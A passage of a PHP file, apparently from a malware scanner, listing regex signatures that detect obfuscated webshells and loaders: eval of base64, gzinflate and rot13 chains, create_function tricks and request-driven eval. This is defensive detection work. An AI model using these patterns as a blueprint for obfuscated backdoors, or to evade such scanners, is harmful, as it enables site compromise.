- 'full' => '~function\s*(\w{1,40})\s*\(\s*(\$\w{1,40})\s*,\s*(\$\w{1,40})\s*\)\s*\{\s*(\$\w{1,40})\s*=\s*str_rot13\s*\(\s*gzinflate\s*\(\s*str_rot13\s*\(\s*base64_decode\s*\(\s*[\'"][^\'"]*[\'"]\s*\)\s*\)\s*\)\s*\)\s*;\s*(if\s*\(\s*\$\w+\s*==[\'"][^\'"]*[\'"]\s*\)\s*\{\s*(\$\w{1,40})\s*=(\$\w+[\{\[]\d+[\}\]]\.?)+;return\s*(\$\w+)\(\3\);\s*\}\s*else\s*)+\s*if\s*\(\s*\$\w+\s*==[\'"][^\'"]*[\'"]\s*\)\s*\{\s*return\s*eval\(\3\);\s*\}\s*\};\s*(\$\w{1,40})\s*=\s*[\'"][^\'"]*[\'"];(\s*\9\([\'"][^\'"]*[\'"],)+\s*[\'"][^\'"]*[\'"]\s*\)+;~msi',
- 'fast' => '~function\s*(\w{1,40})\s*\(\s*(\$\w{1,40})\s*,\s*(\$\w{1,40})\s*\)\s*\{\s*(\$\w{1,40})\s*=\s*str_rot13\s*\(\s*gzinflate\s*\(\s*str_rot13\s*\(\s*base64_decode\s*\(\s*[\'"][^\'"]*[\'"]\s*\)\s*\)\s*\)\s*\)\s*;\s*(if\s*\(\s*\$\w+\s*==[\'"][^\'"]*[\'"]\s*\)\s*\{\s*(\$\w{1,40})\s*=(\$\w+[\{\[]\d+[\}\]]\.?)+;return\s*(\$\w+)\(\3\);\s*\}\s*else\s*)+\s*if\s*\(\s*\$\w+\s*==[\'"][^\'"]*[\'"]\s*\)\s*\{\s*return\s*eval\(\3\);\s*\}\s*\};\s*(\$\w{1,40})\s*=\s*[\'"][^\'"]*[\'"];(\s*\9\([\'"][^\'"]*[\'"],)+\s*[\'"][^\'"]*[\'"]\s*\)+;~msi',
- 'id' => 'webshellObf',
- ),
- array(
- 'full' => '~(\$\w{1,40})=\'([^\'\\\\]|.*?)\';\s*((\$\w{1,40})=(\1\[\d+].?)+;\s*)+(\$\w{1,40})=\'\';\s*(\$\w{1,40})\(\6,\$\w{1,40}\.\"([^\"]+)\"\.\$\w{1,40}\.\4\);~msi',
- 'fast' => '~(\$\w{1,40})=\'([^\\\\\']|.*?)\';\s*((\$\w{1,40})=(\1\[\d+].?)+;\s*)+(\$\w{1,40})=\'\';~msi',
- 'id' => 'substCreateFunc'
- ),
- array(
- 'full' => '~(\$\w+)=[create_function".]+;\s*\1=\1\(\'(\$\w+)\',[\'.eval\("\?>".gzinflate\(base64_decode]+\2\)+;\'\);\s*\1\(\'([^\']+)\'\);~msi',
- 'fast' => '~(\$\w+)=[create_function".]+;\s*\1=\1\(\'(\$\w+)\',[\'.eval\("\?>".gzinflate\(base64_decode]+\2\)+;\'\);\s*\1\(\'([^\']+)\'\);~msi',
- 'id' => 'createFunc'
- ),
- array(
- 'full' => '~(?(DEFINE)(?\'foreach\'(?:/\*\w+\*/)?\s*foreach\(\[[\d,]+\]\s*as\s*\$\w+\)\s*\{\s*\$\w+\s*\.=\s*\$\w+\[\$\w+\];\s*\}\s*(?:/\*\w+\*/)?\s*))(\$\w+)\s*=\s*"([^"]+)";\s*\$\w+\s*=\s*"";(?P>foreach)if\(isset\(\$_REQUEST\s*(?:/\*\w+\*/)?\["\$\w+"\]\)+\{\s*\$\w+\s*=\s*\$_REQUEST\s*(?:/\*\w+\*/)?\["\$\w+"\];(?:\s*\$\w+\s*=\s*"";\s*)+(?P>foreach)+\$\w+\s*=\s*\$\w+\([create_function\'\.]+\);\s*\$\w+\s*=\s*\$\w+\("",\s*\$\w+\(\$\w+\)\);\s*\$\w+\(\);\s*(?:exit\(\);)?\s*}~mis',
- 'fast' => '~(?(DEFINE)(?\'foreach\'(?:/\*\w+\*/)?\s*foreach\(\[[\d,]+\]\s*as\s*\$\w+\)\s*\{\s*\$\w+\s*\.=\s*\$\w+\[\$\w+\];\s*\}\s*(?:/\*\w+\*/)?\s*))(\$\w+)\s*=\s*"([^"]+)";\s*\$\w+\s*=\s*"";(?P>foreach)if\(isset\(\$_REQUEST\s*(?:/\*\w+\*/)?\["\$\w+"\]\)+\{\s*\$\w+\s*=\s*\$_REQUEST\s*(?:/\*\w+\*/)?\["\$\w+"\];(?:\s*\$\w+\s*=\s*"";\s*)+(?P>foreach)+\$\w+\s*=\s*\$\w+\([create_function\'\.]+\);\s*\$\w+\s*=\s*\$\w+\("",\s*\$\w+\(\$\w+\)\);\s*\$\w+\(\);~mis',
- 'id' => 'forEach'
- ),
- array(
- 'full' => '~\$\w+\s*=\s*base64_decode\s*\([\'"][^\'"]+[\'"]\);\s*if\s*\(!function_exists\s*\("rotencode"\)\).{0,1000}eval\s*\(\$\w+\s*\(base64_decode\s*\([\'"][^"\']+[\'"]\)+;~msi',
- 'fast' => '~\$\w+\s*=\s*base64_decode\s*\([\'"][^\'"]+[\'"]\);\s*if\s*\(!function_exists\s*\("rotencode"\)\).{0,1000}eval\s*\(\$\w+\s*\(base64_decode\s*\([\'"][^"\']+[\'"]\)+;~msi',
- 'id' => 'PHPMyLicense',
- ),
- array(
- 'full' => '~(\$\w{1,40})\s*=\s*file\(__FILE__\);\s*if\(!function_exists\(\"([^\"]*)\"\)\)\{function\s*\2\((\$\w{1,40}),(\$\w{1,40})=\d+\)\{(\$\w{1,40})=implode\(\"[^\"]*\",\3\);(\$\w{1,40})=array\((\d+),(\d+),(\d+)\);if\(\4==0\)\s*(\$\w{1,40})=substr\(\5,\6\[\d+\],\6\[\d+\]\);elseif\(\4==1\)\s*\10=substr\(\5,\6\[\d+\]\+\6\[\d+\],\6\[\d+\]\);else\s*\10=trim\(substr\(\5,\6\[\d+\]\+\6\[\d+\]\+\6\[\d+\]\)\);return\s*\(\10\);\}\}\s*eval\(\w{1,40}\(\2\(\1\s*,\s*2\)\s*,\s*\2\(\1\s*,\s*1\)\)\);\s*__halt_compiler\(\);\s*[\w\+\=/]+~msi',
- 'fast' => '~(\$\w{1,40})\s*=\s*file\(__FILE__\);\s*if\(!function_exists\(\"([^\"]*)\"\)\)\{function\s*\2\((\$\w{1,40}),(\$\w{1,40})=\d+\)\{(\$\w{1,40})=implode\(\"[^\"]*\",\3\);(\$\w{1,40})=array\((\d+),(\d+),(\d+)\);if\(\4==0\)\s*(\$\w{1,40})=substr\(\5,\6\[\d+\],\6\[\d+\]\);elseif\(\4==1\)\s*\10=substr\(\5,\6\[\d+\]\+\6\[\d+\],\6\[\d+\]\);else\s*\10=trim\(substr\(\5,\6\[\d+\]\+\6\[\d+\]\+\6\[\d+\]\)\);return\s*\(\10\);\}\}\s*eval\(\w{1,40}\(\2\(\1\s*,\s*2\)\s*,\s*\2\(\1\s*,\s*1\)\)\);\s*__halt_compiler\(\);~msi',
- 'id' => 'zeura'),
- array(
- 'full' => '~((\$\w+)\s*\.=\s*"[^"]+";\s*)+eval\((\$\w+\s*\.?\s*)+\)~msi',
- 'fast' => '~((\$\w+)\s*\.=\s*"[^"]+";\s*)+eval\((\$\w+\s*\.?\s*)+\)~msi',
- 'id' => 'evalVarConcat'),
- array(
- 'full' => '~((\$\w+)\s*=\s*[\'"]([^\'"]+)[\'"];\s*)+\s*.{0,10}?@?eval\s*\(\s*([\'"?>.\s]+)?\(?(base64_decode\s*\(|gzinflate\s*\(|strrev\s*\(|str_rot13\s*\(|gzuncompress\s*\(|urldecode\s*\(|rawurldecode\s*\(|htmlspecialchars_decode\s*\()+(\({0,1}[\s"\']?(\$\w+)?(?:str_replace\((?:.+?,){3}\2?)?[\s"\']?\){0,1})\)+;~msi',
- 'fast' => '~((\$\w+)\s*=\s*[\'"]([^\'"]+)[\'"];\s*)+\s*.{0,10}?@?eval\s*\(\s*([\'"?>.\s]+)?\(?(base64_decode\s*\(|gzinflate\s*\(|strrev\s*\(|str_rot13\s*\(|gzuncompress\s*\(|urldecode\s*\(|rawurldecode\s*\(|htmlspecialchars_decode\s*\()+(\({0,1}[\s"\']?(\$\w+)?(?:str_replace\((?:.+?,){3}\2?)?[\s"\']?\){0,1})\)+;~msi',
- 'id' => 'evalVar'),
- array(
- 'full' => '~function\s*(\w{1,40})\((\$\w{1,40})\)\{(\$\w{1,40})=\'base64_decode\';(\$\w{1,40})=\'gzinflate\';return\s*\4\(\3\(\2\)\);\}\$\w{1,40}=\'[^\']*\';\$\w{1,40}=\'[^\']*\';eval\(\1\(\'([^\']*)\'\)\);~msi',
- 'fast' => '~function\s*(\w{1,40})\((\$\w{1,40})\)\{(\$\w{1,40})=\'base64_decode\';(\$\w{1,40})=\'gzinflate\';return\s*\4\(\3\(\2\)\);\}\$\w{1,40}=\'[^\']*\';\$\w{1,40}=\'[^\']*\';eval\(\1\(\'([^\']*)\'\)\);~msi',
- 'id' => 'evalFunc'),
- array(
- 'full' => '~function\s*(\w{1,40})\s*\((\$\w{1,40})\)\s*\{\s*(\$\w{1,40})\s*=\s*"\\\\x62\\\\x61\\\\x73\\\\x65\\\\x36\\\\x34\\\\x5f\\\\x64\\\\x65\\\\x63\\\\x6f\\\\x64\\\\x65";\s*(\$\w{1,40})\s*=\s*"\\\\x67\\\\x7a\\\\x69\\\\x6e\\\\x66\\\\x6c\\\\x61\\\\x74\\\\x65";\s*return\s*\4\s*\(\3\s*\(\2\)\);\s*\}\s*\$\w{1,40}\s*=\s*\"[^\"]*\";\s*\$\w{1,40}\s*=\s*\"[^\"]*\";\s*eval\s*\(\1\s*\(\"([^\"]*)\"\)\);~msi',
- 'fast' => '~function\s*(\w{1,40})\s*\((\$\w{1,40})\)\s*\{\s*(\$\w{1,40})\s*=\s*"\\\\x62\\\\x61\\\\x73\\\\x65\\\\x36\\\\x34\\\\x5f\\\\x64\\\\x65\\\\x63\\\\x6f\\\\x64\\\\x65";\s*(\$\w{1,40})\s*=\s*"\\\\x67\\\\x7a\\\\x69\\\\x6e\\\\x66\\\\x6c\\\\x61\\\\x74\\\\x65";\s*return\s*\4\s*\(\3\s*\(\2\)\);\s*\}\s*\$\w{1,40}\s*=\s*\"[^\"]*\";\s*\$\w{1,40}\s*=\s*\"[^\"]*\";\s*eval\s*\(\1\s*\(\"([^\"]*)\"\)\);~msi',
- 'id' => 'evalFunc'),
- array(
- 'full' => '~(\$\w+)\s?=\s?[\'"]@?(([\w."]+\()+[\'"]([\w\/+]+)[\'"])\)+;[\'"]\s?;\s?(\$\w+)\s?=\s?([\w@."]+)\s?;\s?@?(\$\w+)\s?=\s\5\([\'"]+,\s?"\1;"\s?\);\7\([\'"]{2}\);~msi',
- 'fast' => '~(\$\w+)\s?=\s?[\'"]@?(([\w."]+\()+[\'"]([\w\/+]+)[\'"])\)+;[\'"]\s?;\s?(\$\w+)\s?=\s?([\w@."]+)\s?;\s?@?(\$\w+)\s?=\s\5\([\'"]+,\s?"\1;"\s?\);\7\([\'"]{2}\);~msi',
- 'id' => 'evalConcatFunc'),
- array(
- 'full' => '~function\sT_\((\$\w+)\)\s{\s(\$\w+)\s=\s256;\s(\$w2)\s=\s8;\s(\$\w+)\s=\sarray\(\);\s(\$\w+)\s=\s0;\s(\$\w+)\s=\s0;\sfor\s\((\$\w+)\s=\s0;\s\7\s<\sstrlen\(\1\);\s\7\+\+\)\s{\s\5\s=\s\(\5\s<<\s8\)\s\+\sord\(\1\[\7\]\);\s\6\s\+=\s8;\sif\s\(\6\s>=\s\3\)\s{\s\6\s-=\s\3;\s(\$\w+)\[\]\s=\s\5\s>>\s\6;\s\5\s&=\s\(1\s<<\s\6\)\s-\s1;\s\2\+\+;\sif\s\(\2\s>>\s\3\)\s{\s\3\+\+;\s}\s}\s}\s(\$\w+)\s=\srange\("\\\\x0",\s"\\\\377"\);\s(\$\w+)\s=\s\'\';\sforeach\s\(\4\sas\s\7\s=>\s(\$\w+)\)\s{\sif\s\(!isset\(\9\[\11\]\)\)\s{\s(\$\w+)\s=\s(\$\w+)\s\.\s\13\[0\];\s}\selse\s{\s\12\s=\s\9\[\11\];\s}\s\10\s\.=\s\12;\sif\s\(\7\)\s{\s\9\[\]\s=\s\13\s\.\s\12\[0\];\s}\s\13\s=\s\12;\s}\sreturn\s\10;\s}\s(\$_\w+)="[\w\\\\]+";eval\(T_\(\14\("(.*)"\)\)\);~mis',
- 'fast' => '~function\sT_\((\$\w+)\)\s{\s(\$\w+)\s=\s256;\s(\$w2)\s=\s8;\s(\$\w+)\s=\sarray\(\);\s(\$\w+)\s=\s0;\s(\$\w+)\s=\s0;\sfor\s\((\$\w+)\s=\s0;\s\7\s<\sstrlen\(\1\);\s\7\+\+\)\s{\s\5\s=\s\(\5\s<<\s8\)\s\+\sord\(\1\[\7\]\);\s\6\s\+=\s8;\sif\s\(\6\s>=\s\3\)\s{\s\6\s-=\s\3;\s(\$\w+)\[\]\s=\s\5\s>>\s\6;\s\5\s&=\s\(1\s<<\s\6\)\s-\s1;\s\2\+\+;\sif\s\(\2\s>>\s\3\)\s{\s\3\+\+;\s}\s}\s}\s(\$\w+)\s=\srange\("\\\\x0",\s"\\\\377"\);\s(\$\w+)\s=\s\'\';\sforeach\s\(\4\sas\s\7\s=>\s(\$\w+)\)\s{\sif\s\(!isset\(\9\[\11\]\)\)\s{\s(\$\w+)\s=\s(\$\w+)\s\.\s\13\[0\];\s}\selse\s{\s\12\s=\s\9\[\11\];\s}\s\10\s\.=\s\12;\sif\s\(\7\)\s{\s\9\[\]\s=\s\13\s\.\s\12\[0\];\s}\s\13\s=\s\12;\s}\sreturn\s\10;\s}\s(\$_\w+)="[\w\\\\]+";eval\(T_\(\14\("(.*)"\)\)\);~mis',
- 'id' => 'evalFuncFunc'
- ),
- array(
- 'full' => '~(preg_replace\(["\']/\.\*?/[^"\']+["\']\s*,\s*)[^\),]+(?:[\)\\\\0-5]+;[\'"])?(,\s*["\'][^"\']*["\'])\)+;~msi',
- 'fast' => '~(preg_replace\(["\']/\.\*?/[^"\']+["\']\s*,\s*)[^\),]+(?:[\)\\\\0-5]+;[\'"])?(,\s*["\'][^"\']*["\'])\)+;~msi',
- 'id' => 'eval'),
- array(
- 'full' => '~(\$\w{1,40})\s*=\s*[\'"]([^\'"]*)[\'"]\s*;\s*(\$\w{1,40}\s*=\s*(strtolower|strtoupper)\s*\((\s*\1[\[\{]\s*\d+\s*[\]\}]\s*\.?\s*)+\);\s*)+\s*if\s*\(\s*isset\s*\(\s*\$\{\s*\$\w{1,40}\s*\}\s*\[\s*[\'"][^\'"]*[\'"]\s*\]\s*\)\s*\)\s*\{\s*eval\s*\(\s*\$\w{1,40}\s*\(\s*\$\s*\{\s*\$\w{1,40}\s*\}\s*\[\s*[\'"][^\'"]*[\'"]\s*\]\s*\)\s*\)\s*;\s*\}\s*~msi',
- 'fast' => '~(\$\w{1,40})\s*=\s*[\'"]([^\'"]*)[\'"]\s*;\s*(\$\w{1,40}\s*=\s*(strtolower|strtoupper)\s*\((\s*\1[\[\{]\s*\d+\s*[\]\}]\s*\.?\s*)+\);\s*)+\s*if\s*\(\s*isset\s*\(\s*\$\{\s*\$\w{1,40}\s*\}\s*\[\s*[\'"][^\'"]*[\'"]\s*\]\s*\)\s*\)\s*\{\s*eval\s*\(\s*\$\w{1,40}\s*\(\s*\$\s*\{\s*\$\w{1,40}\s*\}\s*\[\s*[\'"][^\'"]*[\'"]\s*\]\s*\)\s*\)\s*;\s*\}\s*~msi',
- 'id' => 'evalInject'
- ),
- array(
- 'full' => '~((\$\w+)\s*=\s*(([base64_decode\'\.\s]+)|([eval\'\.\s]+)|([create_function\'\.\s]+)|([stripslashes\'\.\s]+)|([gzinflate\'\.\s]+)|([strrev\'\.\s]+)|([str_rot13\'\.\s]+)|([gzuncompress\'\.\s]+)|([urldecode\'\.\s]+)([rawurldecode\'\.\s]+));\s*)+\$\w+\s*=\s*\$\w+\(\'\',(\s*\$\w+\s*\(\s*)+\'[^\']+\'\)+;\s*\$\w+\(\);~msi',
- 'fast' => '~((\$\w+)\s*=\s*(([base64_decode\'\.\s]+)|([eval\'\.\s]+)|([create_function\'\.\s]+)|([stripslashes\'\.\s]+)|([gzinflate\'\.\s]+)|([strrev\'\.\s]+)|([str_rot13\'\.\s]+)|([gzuncompress\'\.\s]+)|([urldecode\'\.\s]+)([rawurldecode\'\.\s]+));\s*)+\$\w+\s*=\s*\$\w+\(\'\',(\s*\$\w+\s*\(\s*)+\'[^\']+\'\)+;\s*\$\w+\(\);~msi',
- 'id' => 'createFuncConcat'
- ),
- array(
- 'full' => '~(\$\w+)\s*=\s*base64_decode\("([^"]+)"\);(\1\s*=\s*ereg_replace\("([^"]+)","([^"]+)",\1\);)+\1=base64_decode\(\1\);eval\(\1\);~msi',
- 'fast' => '~(\$\w+)\s*=\s*base64_decode\("([^"]+)"\);(\1\s*=\s*ereg_replace\("([^"]+)","([^"]+)",\1\);)+\1=base64_decode\(\1\);eval\(\1\);~msi',
- 'id' => 'evalEregReplace'
- ),
- array(
- 'full' => '~((\$\w+)\s*=\s*(([base64_decode"\'\.\s]+)|([eval"\'\.\s]+)|([create_function"\'\.\s]+)|([stripslashes"\'\.\s]+)|([gzinflate"\'\.\s]+)|([strrev"\'\.\s]+)|([str_rot13"\'\.\s]+)|([gzuncompress"\'\.\s]+)|([urldecode"\'\.\s]+)([rawurldecode"\'\.\s]+));\s*)+\s*@?eval\(\$[^)]+\)+;~msi',
- 'fast' => '~((\$\w+)\s*=\s*(([base64_decode"\'\.\s]+)|([eval"\'\.\s]+)|([create_function"\'\.\s]+)|([stripslashes"\'\.\s]+)|([gzinflate"\'\.\s]+)|([strrev"\'\.\s]+)|([str_rot13"\'\.\s]+)|([gzuncompress"\'\.\s]+)|([urldecode"\'\.\s]+)([rawurldecode"\'\.\s]+));\s*)+\s*@?eval\(\$[^)]+\)+;~msi',
- 'id' => 'evalWrapVar'
- ),
- array(
- 'full' => '~\$\{"(.{1,20}?(\\\\x[0-9a-f]{2})+)+.?";@?eval\s*\(\s*([\'"?>.]+)?@?\s*(base64_decode\s*\(|gzinflate\s*\(|strrev\s*\(|str_rot13\s*\(|gzuncompress\s*\(|urldecode\s*\(|rawurldecode\s*\(|eval\s*\()+\(?\$\{\$\{"[^\)]+\)+;~msi',
- 'fast' => '~\$\{"(.{1,20}?(\\\\x[0-9a-f]{2})+)+.?";@?eval\s*\(\s*([\'"?>.]+)?@?\s*(base64_decode\s*\(|gzinflate\s*\(|strrev\s*\(|str_rot13\s*\(|gzuncompress\s*\(|urldecode\s*\(|rawurldecode\s*\(|eval\s*\()+\(?\$\{\$\{"[^\)]+\)+;~msi',
- 'id' => 'escapes'
- ),
- array(
- 'full' => '~(\$\w+)\s*=(?:\s*(?:(?:["\'][a-z0-9][\'"])|(?:chr\s*\(\d+\))|(?:[\'"]\\\\x[0-9a-f]+[\'"]))\s*?\.?)+;\s*(\$\w+)\s*=(?:\s*(?:(?:["\'][a-z0-9][\'"])|(?:chr\s*\(\d+\))|(?:[\'"]\\\\x[0-9a-f]+[\'"]))\s*?\.?)+;\s*@?\1\s*\(@?\2\s*\([\'"]([^\'"]+)[\'"]\)+;~msi',
- 'fast' => '~(\$\w+)\s*=(?:\s*(?:(?:["\'][a-z0-9][\'"])|(?:chr\s*\(\d+\))|(?:[\'"]\\\\x[0-9a-f]+[\'"]))\s*?\.?)+;\s*(\$\w+)\s*=(?:\s*(?:(?:["\'][a-z0-9][\'"])|(?:chr\s*\(\d+\))|(?:[\'"]\\\\x[0-9a-f]+[\'"]))\s*?\.?)+;\s*@?\1\s*\(@?\2\s*\([\'"]([^\'"]+)[\'"]\)+;~msi',
- 'id' => 'assert',
- ),
- array(
- 'full' => '~eval\s*\(str_rot13\s*\([\'"]+\s*(?:.+(?=\\\\\')\\\\\'[^\'"]+)+[\'"]+\)+;~msi',
- 'fast' => '~eval\s*\(str_rot13\s*\([\'"]+\s*(?:.+(?=\\\\\')\\\\\'[^\'"]+)+[\'"]+\)+;~msi',
- 'id' => 'evalCodeFunc'
- ),
- array(
- 'full' => '~\$\{"GLOBALS"\}\[[\'"](\w+)[\'"]\]=["\'](\w+)[\'"];\$\{"GLOBALS"\}\[[\'"](\w+)[\'"]\]=["\']\2[\'"];\${\$\{"GLOBALS"\}\[[\'"]\3[\'"]\]}=[\'"]([^\'"]+)[\'"];eval.{10,50}?\$\{\$\{"GLOBALS"\}\[[\'"]\1[\'"]\]\}\)+;~msi',
- 'fast' => '~\$\{"GLOBALS"\}\[[\'"](\w+)[\'"]\]=["\'](\w+)[\'"];\$\{"GLOBALS"\}\[[\'"](\w+)[\'"]\]=["\']\2[\'"];\${\$\{"GLOBALS"\}\[[\'"]\3[\'"]\]}=[\'"]([^\'"]+)[\'"];eval.{10,50}?\$\{\$\{"GLOBALS"\}\[[\'"]\1[\'"]\]\}\)+;~msi',
- 'id' => 'evalVarVar',
- ),
- array(
- 'full' => '~(\$\w+)=[\'"][^"\']+[\'"];(\$\w+)=strrev\(\'edoced_46esab\'\);eval\(\2\([\'"][^\'"]+[\'"]\)+;~msi',
- 'fast' => '~(\$\w+)=[\'"][^"\']+[\'"];(\$\w+)=strrev\(\'edoced_46esab\'\);eval\(\2\([\'"][^\'"]+[\'"]\)+;~msi',
- 'id' => 'edoced_46esab',
- ),
- array(
- 'full' => '~(\$\w+)=strrev\(\'edoced_46esab\'\);\s?(\$\w+)=strrev\(\'etalfnizg\'\);\s?eval\(\2\(\1\([\'"]([\w\/\+=]+)[\'"]\)\)\);~msi',
- 'fast' => '~(\$\w+)=strrev\(\'edoced_46esab\'\);\s?(\$\w+)=strrev\(\'etalfnizg\'\);\s?eval\(\2\(\1\([\'"]([\w\/\+=]+)[\'"]\)\)\);~msi',
- 'id' => 'edoced_46esab_etalfnizg',
- ),
- array(
- 'full' => '~(\$\w+)\s*=\s*"((?:[^"]|(?<=\\\\)")*)";(\$\w+)\s*=\s*(\1\[\d+\]\.?)+;(\$\w+)\s*=\s*[^;]+;(\$\w+)\s*=\s*"[^"]+";\$\w+\s*=\s*\5\."[^"]+"\.\6;\3\((\1\[\d+\]\.?)+,\s*\$\w+\s*,"\d+"\);~smi',
- 'fast' => '~(\$\w+)\s*=\s*"((?:[^"]|(?<=\\\\)"){0,1000})";(\$\w+)\s*=\s*(\1\[\d+\]\.?)+;(\$\w+)\s*=\s*[^;]+;(\$\w+)\s*=\s*"[^"]+";\$\w+\s*=\s*\5\."[^"]+"\.\6;\3\((\1\[\d+\]\.?)+,\s*\$\w+\s*,"\d+"\);~smi',
- 'id' => 'eval2'
- ),
- array(
- 'full' => '~@?(eval|echo|(\$\w+)\s*=\s*create_function)\s*\((\'\',)?\s*([\'"?>.\s]+)?\s*\(?\s*@?\s*(base64_decode\s*\(|pack\s*\(\'H\*\',|convert_uudecode\s*\(|htmlspecialchars_decode\s*\(|stripslashes\s*\(|gzinflate\s*\(|strrev\s*\(|str_rot13\s*\(|gzuncompress\s*\(|urldecode\s*\(|rawurldecode\s*\(|eval\s*\()+.*?[^\'")]+((\s*\.?[\'"]([^\'";]+[\'"]*\s*)+)?\s*[\'"\);]+)+(\s*\2\(\);)?~msi',
- 'fast' => '~@?(eval|echo|(\$\w+)\s*=\s*create_function)\s*\((\'\',)?\s*([\'"?>.\s]+)?\s*\(?\s*@?\s*(base64_decode\s*\(|pack\s*\(\'H\*\',|convert_uudecode\s*\(|htmlspecialchars_decode\s*\(|stripslashes\s*\(|gzinflate\s*\(|strrev\s*\(|str_rot13\s*\(|gzuncompress\s*\(|urldecode\s*\(|rawurldecode\s*\(|eval\s*\()+.*?[^\'")]+((\s*\.?[\'"]([^\'";]+[\'"]*\s*)+)?\s*[\'"\);]+)+(\s*\2\(\);)?~msi',
- 'id' => 'eval'
- ),
- array(
- 'full' => '~eval\s*/\*[\w\s\.:,]+\*/\s*\([^\)]+\)+;~msi',
- 'fast' => '~eval\s*/\*[\w\s\.:,]+\*/\s*\(~msi',
- 'id' => 'eval'
- ),
- array(
- 'full' => '~eval\("\\\\145\\\\166\\\\141\\\\154\\\\050\\\\142\\\\141\\\\163[^\)]+\)+;~msi',
- 'fast' => '~eval\("\\\\145\\\\166\\\\141\\\\154\\\\050\\\\142\\\\141\\\\163~msi',
- 'id' => 'evalHex'
- ),
- array(
- 'full' => '~eval\s*\("\\\\x?\d+[^\)]+\)+;(?:[\'"]\)+;)?~msi',
- 'fast' => '~eval\s*\("\\\\x?\d+~msi',
- 'id' => 'evalHex'
- ),
- array(
- 'full' => '~(\$\w+)\s=\s(["\']?[\w\/\+]+["\']?);\s(\$\w+)\s=\s((?:str_rot13\(|rawurldecode\(|convert_uudecode\(|gzinflate\(|str_rot13\(|base64_decode\(|rawurldecode\(|)+\1\)\)+);\secho\s(eval\(\3\);)~msi',
- 'fast' => '~(\$\w+)\s=\s(["\']?[\w\/\+]+["\']?);\s(\$\w+)\s=\s((?:str_rot13\(|rawurldecode\(|convert_uudecode\(|gzinflate\(|str_rot13\(|base64_decode\(|rawurldecode\(|)+\1\)\)+);\secho\s(eval\(\3\);)~msi',
- 'id' => 'echoEval'
- ),
- array(
- 'full' => '~\$\w+=\'printf\';(\s*\$\w+\s*=\s*\'[^\']+\'\s*;)+\s*(\$\w+\s*=\s*\$\w+\([^\)]+\);\s*)+(\$\w+\s*=\s*\'[^\']+\';\s*)?(\s*(\$\w+\s*=\s*)?\$\w+\([^)]*\)+;\s*)+(echo\s*\$\w+;)?~msi',
- 'fast' => '~\$\w+=\'printf\';(\s*\$\w+\s*=\s*\'[^\']+\'\s*;)+\s*(\$\w+\s*=\s*\$\w+\([^\)]+\);\s*)+(\$\w+\s*=\s*\'[^\']+\';\s*)?(\s*(\$\w+\s*=\s*)?\$\w+\([^)]*\)+;\s*)+(echo\s*\$\w+;)?~msi',
- 'id' => 'seolyzer'
- ),
- array(
- 'full' => '~(\$\w+)="((?:[^"]|(?<=\\\\)")*)";(\s*\$GLOBALS\[\'\w+\'\]\s*=\s*(?:\${)?(\1\[\d+\]}?\.?)+;\s*)+(.{0,400}\s*\1\[\d+\]\.?)+;\s*}~msi',
- 'fast' => '~(\$\w+)="((?:[^"]|(?<=\\\\)"){0,1000})";(\s*\$GLOBALS\[\'\w+\'\]\s*=\s*(?:\${)?(\1\[\d+\]}?\.?)+;\s*)+(.{0,400}\s*\1\[\d+\]\.?)+;\s*}~msi',
- 'id' => 'subst2',
- ),
- array(
- 'full' => '~(\$\w+\s*=\s*"[^"]+";\s*)+(\$\w+\s*=\s*\$?\w+\("\w+"\s*,\s*""\s*,\s*"\w+"\);\s*)+\$\w+\s*=\s*\$\w+\("",\s*\$\w+\(\$\w+\("\w+",\s*"",(\s*\$\w+\.?)+\)+;\$\w+\(\);~msi',
- 'fast' => '~(\$\w+\s*=\s*"[^"]+";\s*)+(\$\w+\s*=\s*\$?\w+\("\w+"\s*,\s*""\s*,\s*"\w+"\);\s*)+\$\w+\s*=\s*\$\w+\("",\s*\$\w+\(\$\w+\("\w+",\s*"",(\s*\$\w+\.?)+\)+;\$\w+\(\);~msi',
- 'id' => 'strreplace',
- ),
- array(
- 'full' => '~@?echo\s*([\'"?>.\s]+)?@?\s*(base64_decode\s*\(|stripslashes\s*\(|gzinflate\s*\(|strrev\s*\(|str_rot13\s*\(|gzuncompress\s*\(|urldecode\s*\(|rawurldecode\s*\(|eval\s*\()+.*?[^\'")]+((\s*\.?[\'"]([^\'";]+\s*)+)?\s*[\'"\);]+)+~msi',
- 'fast' => '~@?echo\s*([\'"?>.\s]+)?@?\s*(base64_decode\s*\(|stripslashes\s*\(|gzinflate\s*\(|strrev\s*\(|str_rot13\s*\(|gzuncompress\s*\(|urldecode\s*\(|rawurldecode\s*\(|eval\s*\()+.*?[^\'")]+((\s*\.?[\'"]([^\'";]+\s*)+)?\s*[\'"\);]+)+~msi',
- 'id' => 'echo',
- ),
- array(
- 'full' => '~(\$\w+)="([^"]+)";\s*(\$\w+)=strtoupper\s*\((\1\[\d+\]\s*\.?\s*)+\)\s*;\s*if\(\s*isset\s*\(\${\s*\3\s*}\[\d*\s*\'\w+\'\s*\]\s*\)\s*\)\s*{eval\(\${\3\s*}\[\'\w+\']\s*\)\s*;}~smi',
- 'fast' => '~(\$\w+)="([^"]+)";\s*(\$\w+)=strtoupper\s*\((\1\[\d+\]\s*\.?\s*)+\)\s*;\s*if\(\s*isset\s*\(\${\s*\3\s*}\[\d*\s*\'\w+\'\s*\]\s*\)\s*\)\s*{eval\(\${\3\s*}\[\'\w+\']\s*\)\s*;}~smi',
- 'id' => 'strtoupper',
- ),
- array(
- 'full' => '~(\$\w+)="[^"]+";\s*(\$\w+)=str_ireplace\("[^"]+","",\1\);(\$\w+)\s*=\s*"[^"]+";\s*function\s*(\w+)\((\$\w+,?)+\){\s*(\$\w+)=\s*create_function\(\'\',\$\w+\);\s*array_map\(\6,array\(\'\'\)+;\s*}\s*set_error_handler\(\'\4\'\);(\$\w+)=\2\(\3\);user_error\(\7,E_USER_ERROR\);\s*if\s*.+?}~msi',
- 'fast' => '~(\$\w+)="[^"]+";\s*(\$\w+)=str_ireplace\("[^"]+","",\1\);(\$\w+)\s*=\s*"[^"]+";\s*function\s*(\w+)\((\$\w+,?)+\){\s*(\$\w+)=\s*create_function\(\'\',\$\w+\);\s*array_map\(\6,array\(\'\'\)+;\s*}\s*set_error_handler\(\'\4\'\);(\$\w+)=\2\(\3\);user_error\(\7,E_USER_ERROR\);\s*if\s*.+?}~msi',
- 'id' => 'errorHandler',
- ),
- array(
- 'full' => '~(\$\w+)=strrev\(str_ireplace\("[^"]+","","[^"]+"\)\);(\$\w+)="([^"]+)";eval\(\1\(\2\)+;}~msi',
- 'fast' => '~(\$\w+)=strrev\(str_ireplace\("[^"]+","","[^"]+"\)\);(\$\w+)="([^"]+)";eval\(\1\(\2\)+;}~msi',
